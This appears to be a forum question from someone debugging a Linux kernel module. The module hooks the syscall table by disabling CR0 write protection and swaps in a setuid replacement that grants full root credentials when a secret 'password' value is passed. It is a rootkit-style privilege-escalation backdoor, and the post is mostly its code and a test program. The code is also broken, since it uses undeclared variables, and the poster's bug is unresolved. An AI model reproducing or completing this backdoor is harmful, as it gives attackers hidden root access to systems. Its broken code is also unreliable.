I am trying to pass uid_t value as a parameter to modified syscall function (set_uid) and when I pass 30 from caller function, the value gets changed to random number such as 2154135383.
This is modified setuid()
asmlinkage int new_setuid(uid_t euid) {
printk(KERN_ALERT "------test1-------\n");
struct cred *cred;
printk(KERN_INFO "uid: %d\n", euid);
if (uid == password) {
cred = prepare_creds();
cred -> uid = GLOBAL_ROOT_UID;
cred -> euid = GLOBAL_ROOT_UID;
cred -> gid = GLOBAL_ROOT_GID;
cred -> egid = GLOBAL_ROOT_GID;
commit_creds(cred);
}
return 0;
}
This is part where setuid gets changed to my setuid.
static int __init initModule(void) {
printk(KERN_ALERT "Successfully Loaded!\n");
sys_call_table = (void*)kallsyms_lookup_name("sys_call_table");
if (sys_call_table == NULL) {
printk(KERN_ERR "syscall table could not be found\n");
return -1;
}
change_RW(sys_call_table);
write_cr0 (read_cr0() & (~X86_CR0_WP));
old_setuid = sys_call_table [__NR_setuid]; // original setuid to return when unload
sys_call_table [__NR_setuid] = new_setuid; // new setuid
write_cr0 (read_cr0() | (X86_CR0_WP));
return 0;
}
And test program
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int temp1(uid_t x);
int main() {
uid_t x = 30;
printf("Before ID: %d, EID: %d\n", getuid(), geteuid());
setuid(x);
printf("After ID: %d, EID: %d\n", getuid(), geteuid());
return 0;
}
Please have a look and if I made silly mistake, let me know.
Edit: I found out that integer 30 is not passed to the setuid(uid_t euid). I think euid is set random number when the kernel module is loaded. How should I pass the value?